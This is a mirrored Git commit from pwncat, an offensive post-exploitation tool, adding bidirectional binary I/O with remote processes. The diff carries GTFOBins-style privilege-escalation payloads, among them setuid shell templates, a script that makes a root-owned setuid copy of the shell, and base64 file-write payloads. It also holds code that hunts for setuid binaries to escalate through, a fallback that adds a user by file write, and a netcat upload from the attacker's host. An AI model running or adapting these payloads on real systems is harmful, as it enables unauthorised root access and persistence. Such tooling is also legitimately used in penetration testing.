1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Added ability for bidirectional binary IO w/ remote process

This commit is contained in:
Caleb Stewart 2020-05-10 19:55:20 -04:00
parent a2195d6575
commit f173e22d16
8 changed files with 198 additions and 100 deletions

View File

@ -7,7 +7,7 @@
"name": "cp",
"write_file": {
"type": "base64",
"payload": "TF=/tmp/.pwncat; echo {data} | base64 -d > $TF; {path} $TF ${lfile}; unlink $TF"
"payload": "TF=/tmp/.pwncat; echo {data} | {base64} -d > $TF; {path} $TF ${lfile}; {unlink} $TF"
}
},
{
@ -16,10 +16,10 @@
"script": "{command}",
"suid": ["-p"]
},
"read_file": "{path} -p -c \"cat {lfile}\"",
"read_file": "{path} -p -c \"{cat} {lfile}\"",
"write_file": {
"type": "base64",
"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
"payload": "{path} -p -c \"echo -n {data} | {base64} -d > {lfile}\""
},
"command": "{path} -p -c {command}"
},
@ -42,7 +42,7 @@
{
"name": "aria2c",
"shell": {
"script": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {command}; sleep 1; $SHELL -p",
"script": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"{chown} root:root $SHELL; {chmod} +sx $SHELL;\" > $TF;{chmod} +x $TF; {command}; sleep 1; $SHELL -p",
"need": ["--on-download-error=$TF","http://x"]
}
},
@ -55,7 +55,7 @@
"read_file": "{path} -p -c \"cat {lfile}\"",
"write_file": {
"type": "base64",
"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
"payload": "{path} -p -c \"echo -n {data} | {base64} -d > {lfile}\""
},
"command": "{path} -p -c {command}"
},
@ -78,7 +78,7 @@
"read_file": "{path} '//' {lfile}",
"write_file": {
"type": "base64",
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'"
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | {base64} -d\" | getline) > 0){{ print >> LFILE }} }}'"
}
},
{
@ -112,17 +112,6 @@
"exit": "exit\nq\n"
}
},
{
"name": "busybox",
"shell": {
"script": "{command} sh"
},
"read_file": "{path} -c \"cat {lfile}\"",
"write_file": {
"type": "base64",
"payload": "{path} -c \"echo -n {data} | base64 -d > {lfile}\""
}
},
{
"name": "byebug",
"shell": {
@ -132,10 +121,10 @@
"-q"
]
},
"read_file": "TF=$(mktemp);echo 'system(\"cat {lfile}\")' > $TF;{command} --no-stop -q $TF",
"read_file": "TF=$(mktemp);echo 'system(\"{cat} {lfile}\")' > $TF;{command} --no-stop -q $TF",
"write_file": {
"type": "base64",
"payload": "TF=$(mktemp);echo 'system(\"echo {data} | base64 -d > {lfile}\")' > $TF;{path} --no-stop -q $TF"
"payload": "TF=$(mktemp);echo 'system(\"echo {data} | {base64} -d > {lfile}\")' > $TF;{path} --no-stop -q $TF"
}
},
{
@ -144,10 +133,10 @@
"script": "{command}",
"suid": ["-p"]
},
"read_file": "{path} -p -c \"cat {lfile}\"",
"read_file": "{path} -p -c \"{cat} {lfile}\"",
"write_file": {
"type": "base64",
"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
"payload": "{path} -p -c \"echo -n {data} | {base64} -d > {lfile}\""
},
"command": "{path} -p -c {command}"
}

View File

@ -10,13 +10,22 @@ class RemoteBinaryPipe(RawIOBase):
is closed, it will restore the state of the terminal (w/ `reset`). No further
reading or writing will be allowed. """
def __init__(self, pty: "pwncat.pty.PtyHandler", delim: bytes, binary: bool):
def __init__(
self, pty: "pwncat.pty.PtyHandler", mode: str, delim: bytes, binary: bool
):
self.pty = pty
self.delim = delim
self.eof = 0
self.next_eof = False
self.binary = binary
self.split_eof = b""
self.mode = mode
def readable(self) -> bool:
return True
def writable(self) -> bool:
return "w" in self.mode
def on_eof(self):
if self.eof:
@ -25,26 +34,30 @@ class RemoteBinaryPipe(RawIOBase):
# Set eof flag
self.eof = 1
if self.binary:
# Reset the terminal
self.pty.reset()
# Send a bare echo, and read all data to ensure we don't clobber the
# output of the user's terminal
self.pty.run("echo")
# Reset the terminal
self.pty.restore_remote()
# Send a bare echo, and read all data to ensure we don't clobber the
# output of the user's terminal
self.pty.run("echo")
def close(self):
if self.eof:
return
# Kill the last job. This should be us.
self.pty.run("kill -9 %%", wait=False)
# Kill the last job. This should be us. We can only run as a job when we
# don't request write support, because stdin is taken away from the
# subprocess. This is dangerous, because we have no way to kill the new
# process if it misbehaves. Use "w" carefully with known good
# parameters.
if "w" not in self.mode:
self.pty.run("kill -9 %%", wait=False)
# Cleanup
self.on_eof()
def readinto(self, b: bytearray):
if self.eof:
return 0
return None
if isinstance(b, memoryview):
obj = b.obj
@ -52,7 +65,11 @@ class RemoteBinaryPipe(RawIOBase):
obj = b
# Receive the data
n = self.pty.client.recv_into(b)
try:
n = self.pty.client.recv_into(b)
except BlockingIOError:
return 0
obj = bytes(b)
# Check for EOF
if self.delim in obj:
@ -61,7 +78,7 @@ class RemoteBinaryPipe(RawIOBase):
return n
else:
# Check for EOF split across blocks
for i in range(1, len(self.delim) - 1):
for i in range(1, len(self.delim)):
# See if a piece of the delimeter is at the end of this block
piece = self.delim[:i]
if bytes(b[-i:]) == piece:
@ -91,4 +108,6 @@ class RemoteBinaryPipe(RawIOBase):
pass
def write(self, data: bytes):
if self.eof:
raise EOFError
return self.pty.client.send(data)

View File

@ -10,6 +10,10 @@ import os
from pwncat.privesc import Capability
class MissingBinary(Exception):
""" The GTFObin method you attempted depends on a missing binary """
class SudoNotPossible(Exception):
""" Running the given binary to get a sudo shell is not possible """
@ -26,11 +30,12 @@ class Binary:
_binaries: List[Dict[str, Any]] = []
def __init__(self, path: str, data: Dict[str, Any]):
def __init__(self, path: str, data: Dict[str, Any], which):
""" build a new binary from a dictionary of data. The data is taken from
the GTFOBins JSON database """
self.data = data
self.path = path
self.which = which
self.capabilities = 0
if self.has_read_file:
@ -44,6 +49,26 @@ class Binary:
if self.has_shell:
self.capabilities |= Capability.SUDO
def resolve_binaries(self, target: str, **args):
""" resolve any missing binaries with the self.which method """
while True:
try:
target = target.format(**args)
break
except KeyError as exc:
# The keyerror has the name in quotes for some reason
key = shlex.split(str(exc))[0]
# Find the remote binary that matches
value = self.which(key, quote=True)
# Whoops! No dependancy
if value is None:
raise MissingBinary(key)
# Next time, we have it
args[key] = value
return target
def shell(
self,
shell_path: str,
@ -61,7 +86,7 @@ class Binary:
return None
if isinstance(self.data["shell"], str):
script = self.data["shell"].format(shell=shell_path, command="{command}")
script = self.data["shell"]
args = []
suid_args = []
exit = "exit"
@ -70,9 +95,10 @@ class Binary:
script = self.data["shell"].get("script", "{command}")
suid_args = self.data["shell"].get("suid", [])
args = [
n.format(shell=shell_path) for n in self.data["shell"].get("need", [])
self.resolve_binaries(n, shell=shell_path)
for n in self.data["shell"].get("need", [])
]
exit = self.data["shell"].get("exit", "exit")
exit = self.resolve_binaries(self.data["shell"].get("exit", "exit"))
input = self.data["shell"].get("input", "")
if suid:
@ -88,7 +114,7 @@ class Binary:
command = sudo_prefix + " " + command
return (
script.format(command=command, shell=shell_path),
self.resolve_binaries(script, command=command, shell=shell_path),
input.format(shell=shlex.quote(shell_path)),
exit,
)
@ -96,7 +122,11 @@ class Binary:
@property
def has_shell(self) -> bool:
""" Check if this binary has a shell method """
return "shell" in self.data
try:
result = self.shell("test")
except MissingBinary:
return False
return result is not None
def can_sudo(self, command: str, shell_path: str) -> List[str]:
""" Checks if this command can be leveraged for a shell with sudo. The
@ -109,7 +139,7 @@ class Binary:
* Parameters match exactly
"""
if not self.has_shell:
if not "shell" in self.data:
# We need to be able to run a shell
raise SudoNotPossible
@ -124,12 +154,16 @@ class Binary:
has_wildcard = True
if isinstance(self.data["shell"], str):
need = [n.format(shell=shell_path) for n in shlex.split(self.data["shell"])]
need = [
self.resolve_binaries(n, shell=shell_path)
for n in shlex.split(self.data["shell"])
]
restricted = []
else:
# Needed and restricted parameters
need = [
n.format(shell=shell_path) for n in self.data["shell"].get("need", [])
self.resolve_binaries(n, shell=shell_path)
for n in self.data["shell"].get("need", [])
]
restricted = self.data["shell"].get("restricted", [])
@ -220,16 +254,23 @@ class Binary:
if "read_file" not in self.data:
return None
path = quote(self.path)
# path = quote(self.path)
path = self.path
if sudo_prefix:
path = sudo_prefix + " " + path
return self.data["read_file"].format(path=path, lfile=quote(file_path))
return self.resolve_binaries(
self.data["read_file"], path=path, lfile=quote(file_path)
)
@property
def has_read_file(self):
""" Check if this binary has a read_file capability """
return "read_file" in self.data
try:
result = self.read_file("test")
except MissingBinary:
return False
return result is not None
def write_file(self, file_path: str, data: bytes, sudo_prefix: str = None) -> str:
""" Build a payload to write the specified data into the file """
@ -237,7 +278,8 @@ class Binary:
if "write_file" not in self.data:
return None
path = quote(self.path)
# path = quote(self.path)
path = self.path
if sudo_prefix:
path = sudo_prefix + " " + path
@ -253,14 +295,21 @@ class Binary:
"{self.data['name']}: unknown write_file type: {self.data['write_file']['type']}"
)
return self.data["write_file"]["payload"].format(
path=path, lfile=quote(file_path), data=quote(data.decode("utf-8")),
return self.resolve_binaries(
self.data["write_file"]["payload"],
path=path,
lfile=quote(file_path),
data=quote(data.decode("utf-8")),
)
@property
def has_write_file(self):
""" Check if this binary has a write_file capability """
return "write_file" in self.data
try:
result = self.write_file("test", "test")
except MissingBinary:
return False
return result is not None
@property
def is_safe(self):
@ -273,14 +322,18 @@ class Binary:
if "command" not in self.data:
return None
return self.data["command"].format(
path=quote(self.path), command=quote(command)
return self.resolve_binaries(
self.data["command"], path=self.path, command=quote(command)
)
@property
def has_command(self):
""" Check if this binary has a command capability """
return "command" in self.data
try:
result = self.command("test")
except MissingBinary:
return False
return result is not None
@classmethod
def load(cls, gtfo_path: str):
@ -288,7 +341,7 @@ class Binary:
cls._binaries = json.load(filp)
@classmethod
def find(cls, path: str = None, name: str = None,) -> "Binary":
def find(cls, which: Callable, path: str = None, name: str = None) -> "Binary":
""" Locate the given gtfobin and return the Binary object. If name is
not given, it is assumed to be the basename of the path. """
@ -297,7 +350,7 @@ class Binary:
for binary in cls._binaries:
if binary["name"] == name:
return Binary(path, binary)
return Binary(path, binary, which)
return None
@ -312,11 +365,11 @@ class Binary:
not given, it is assumed to be the basename of the path. """
for data in cls._binaries:
path = which(data["name"])
path = which(data["name"], quote=True)
if path is None:
continue
binary = Binary(path, data)
binary = Binary(path, data, which)
if not binary.is_safe and safe:
continue
if (binary.capabilities & capability) == 0:

View File

@ -275,15 +275,33 @@ class Finder:
util.progress(f"attempting escalation to {technique}")
shlvl = self.pty.getenv("SHLVL")
if (technique.capabilities & Capability.SHELL) > 0:
try:
# Attempt our basic, known technique
return technique.method.execute(technique)
exit_script = technique.method.execute(technique)
# Reset the terminal to ensure we are stable
self.pty.reset()
# Check that we actually succeeded
if self.pty.whoami() == technique.user:
return exit_script
# Check if we ended up in a sub-shell without escalating
if self.pty.getenv("SHLVL") != shlvl:
# Get out of this subshell. We don't need it
self.pty.process(exit_script, delim=False)
self.pty.reset()
# The privesc didn't work, but didn't throw an exception.
# Continue on as if it hadn't worked.
except PrivescError:
pass
# We can't privilege escalate with this technique, but we may be able
# to add a user via file write.
# We can't privilege escalate directly to a shell with this technique,
# but we may be able to add a user via file write.
if (technique.capabilities & Capability.WRITE) == 0 or technique.user != "root":
raise PrivescError("privesc failed")

View File

@ -37,17 +37,17 @@ class SetuidMethod(Method):
self.users_searched.append(current_user)
# Spawn a find command to locate the setuid binaries
delim = self.pty.process("find / -perm -4000 -print 2>/dev/null")
files = []
while True:
path = self.pty.recvuntil(b"\n").strip()
with self.pty.subprocess(
"find / -perm -4000 -print 2>/dev/null", mode="r"
) as stream:
util.progress("searching for setuid binaries")
for path in stream:
path = path.strip()
util.progress(f"searching for setuid binaries: {path}")
files.append(path)
if delim in path:
break
files.append(path.decode("utf-8"))
util.success("searching for setuid binaries: complete", overlay=True)
for path in files:
user = (
@ -70,7 +70,7 @@ class SetuidMethod(Method):
known_techniques = []
for user, paths in self.suid_paths.items():
for path in paths:
binary = gtfobins.Binary.find(path)
binary = gtfobins.Binary.find(self.pty.which, path=path)
if binary is not None:
if (capability & binary.capabilities) == 0:
continue

View File

@ -16,6 +16,7 @@ from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
from prompt_toolkit.lexers import PygmentsLexer
from functools import wraps
import subprocess
import traceback
import requests
import tempfile
import logging
@ -28,6 +29,7 @@ import shlex
import sys
import os
import re
import io
from pwncat import util
from pwncat import downloader, uploader, privesc
@ -614,7 +616,8 @@ class PtyHandler:
# Call the method
method(argv[1:])
except KeyboardInterrupt:
except KeyboardInterrupt as exc:
traceback.print_exc()
continue
@with_parser
@ -1027,7 +1030,7 @@ class PtyHandler:
return b"_PWNCAT_ENDDELIM_"
def subprocess(self, cmd) -> RemoteBinaryPipe:
def subprocess(self, cmd, mode="rb") -> RemoteBinaryPipe:
""" Create an asynchronous child on the remote end and return a
file-like object which can communicate with it's standard output. The
remote terminal is placed in raw mode with no-echo first, and the
@ -1043,6 +1046,10 @@ class PtyHandler:
if isinstance(cmd, list):
cmd = shlex.join(cmd)
for c in mode:
if c not in "rwb":
raise ValueError("mode must only contain 'r', 'w' and 'b'")
sdelim = "_PWNCAT_STARTDELIM_"
edelim = "_PWNCAT_ENDDELIM_"
@ -1055,9 +1062,14 @@ class PtyHandler:
command.append("set +m")
# This is gross, but it allows us to recieve stderr and stdout, while
# ignoring the job control start message.
command.append(
f"{{ echo {sdelim}; {cmd} && echo {edelim} || echo {edelim} 2>&1 & }} 2>/dev/null"
)
if "w" not in mode:
command.append(
f"{{ echo {sdelim}; {cmd} && echo {edelim} || echo {edelim} & }} 2>/dev/null"
)
else:
# This is dangerous. We are in raw mode, and if the process never
# ends and doesn't provide a way to exit, then we are stuck.
command.append(f"echo {sdelim}; {cmd}; echo {edelim}")
# Re-enable normal job control in bash
command.append("set -m")
@ -1073,13 +1085,30 @@ class PtyHandler:
self.recvuntil(sdelim)
self.recvuntil("\n")
return RemoteBinaryPipe(self, edelim.encode("utf-8"), True)
pipe = RemoteBinaryPipe(self, mode, edelim.encode("utf-8"), True)
if "b" not in mode:
if "w" in mode:
pipe = io.BufferedRWPair(pipe, pipe)
pipe = io.TextIOWrapper(pipe)
else:
pipe = io.TextIOWrapper(io.BufferedReader(pipe))
return pipe
def raw(self, echo: bool = False):
self.stty_saved = self.run("stty -g").decode("utf-8").strip()
self.run("stty raw -echo", wait=False)
self.has_cr = False
self.has_echo = False
def restore_remote(self):
self.run(f"stty {self.stty_saved}", wait=False)
self.has_cr = True
self.has_echo = True
self.run(f"export PS1='{self.remote_prefix} {self.remote_prompt}'")
self.run(f"tput rmam")
def reset(self):
self.run("reset", wait=False)
self.has_cr = True
@ -1203,6 +1232,11 @@ class PtyHandler:
result = self.run("whoami")
return result.strip().decode("utf-8")
def getenv(self, name: str):
""" Get the value of the given environment variable on the remote host
"""
return self.run(f"echo -n ${{{name}}}").decode("utf-8")
@property
def id(self):

View File

@ -15,7 +15,7 @@ class NetcatUploader(RawUploader):
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1]
nc = self.pty.which("nc")
nc = self.pty.which("nc", quote=True)
remote_file = shlex.quote(self.remote_path)
self.pty.run(f"{nc} {lhost} {lport} > {remote_file}", wait=False)

View File

@ -20,34 +20,19 @@ class RawShellUploader(Uploader):
""" Yield list of commands to transfer the file """
remote_path = shlex.quote(self.remote_path)
file_sz = os.path.getsize(self.local_path) - 1
file_sz = os.path.getsize(self.local_path)
dd = self.pty.which("dd")
# Put the remote terminal in raw mode
self.pty.raw()
self.pty.process(
f"dd of={remote_path} bs=1 count={file_sz} 2>/dev/null", delim=False
)
pty = self.pty
class SocketWrapper:
def write(self, data):
try:
n = pty.client.send(data)
except socket.error:
return 0
return n
try:
with open(self.local_path, "rb") as filp:
util.copyfileobj(filp, SocketWrapper(), self.on_progress)
finally:
self.on_progress(0, -1)
with self.pty.subprocess(
f"{dd} of={remote_path} bs=1 count={file_sz} 2>/dev/null", mode="wb"
) as stream:
try:
with open(self.local_path, "rb") as filp:
util.copyfileobj(filp, stream, self.on_progress)
finally:
self.on_progress(0, -1)
# Get back to a terminal
self.pty.client.send(util.CTRL_C)
self.pty.reset()
return False